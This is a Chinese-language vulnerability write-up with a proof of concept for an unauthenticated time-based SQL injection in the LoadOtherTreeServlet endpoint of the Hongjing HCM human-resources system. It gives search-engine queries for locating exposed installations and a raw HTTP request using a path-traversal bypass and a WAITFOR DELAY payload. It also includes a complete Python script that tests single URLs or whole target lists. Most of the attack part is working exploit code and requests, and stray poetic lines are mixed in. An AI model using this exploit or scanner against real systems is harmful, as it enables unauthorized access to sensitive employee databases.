声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
漏洞描述
宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,旨在帮助企事业单位构建高绩效组织,推动组织健康成长,提升组织软实力。其LoadOtherTreeServlet
接口处对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,未授权的攻击者可获取数据库敏感信息。
漏洞复现
1)信息收集
fofa:app="HJSOFT-HCM"
hunter:app.name="宏景 HCM"
如果一开始就是一种错误,那么为什么,它会错的那样美丽。
2)构造数据包
GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host:ip
payload解析:
1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--
解码后为:
1);WAITFOR DELAY '0:0:4'--
具体来说,这个payload的组成部分解释如下:
1%29
:是一个编码,其中%29
是URL编码的右括号)
。1
表示一个数字或一个占位符。%3B
:这是URL编码的分号;
,通常用来分隔SQL语句中的多个命令。WAITFOR
:这是SQL Server的T-SQL语言中的一个命令,用于使SQL Server等待一个指定的时间或直到一个条件满足。DELAY
:这可能是WAITFOR
命令中的一个参数,表示等待的时间。%270%3A0%3A4%27--
:这部分经过URL编码,解码后是'0:0:4'--
。这里的'--
是SQL注释的开始,用来注释掉后面的代码。而0:0:4
可能是一个时间值,表示等待4秒。
响应延迟了4秒,存在sql注入漏洞
测试工具
python-poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 定义红色和重置终端输出格式的常量
RED = '\033[91m'
RESET = '\033[0m'
def check_vulnerability(url):
"""
检查给定URL是否存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞。
参数:
url (str): 要检查的URL。
"""
try:
# 构造攻击URL,用于测试漏洞存在性
attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"
attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""
# 设置请求头,指定数据格式为表单提交
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
# 记录请求开始时间
start_time = time.time()
# 发送POST请求,不验证SSL证书,设置超时时间为10秒
response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)
# 计算请求耗时
elapsed_time = time.time() - start_time
# 如果请求耗时在4到6秒之间,判断为可能存在漏洞
if 4 < elapsed_time < 6:
print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
# 请求超时,提示可能存在漏洞
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
# 请求异常,打印错误信息
print(f"URL [{url}] 请求失败: {e}")
def main():
"""
程序主入口。
使用argparse模块解析命令行参数,支持指定单个URL或包含URL的文件。
对每个URL调用check_vulnerability函数进行漏洞检查。
"""
parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
# 如果指定了URL,确保其以http://或https://开头,否则添加http://
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
# 如果指定了文件,读取文件中的每个URL进行检查
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
运行过程:
祈愿万家灯火熨烫过脉络,刀山与火海多深刻,都陪你渡过。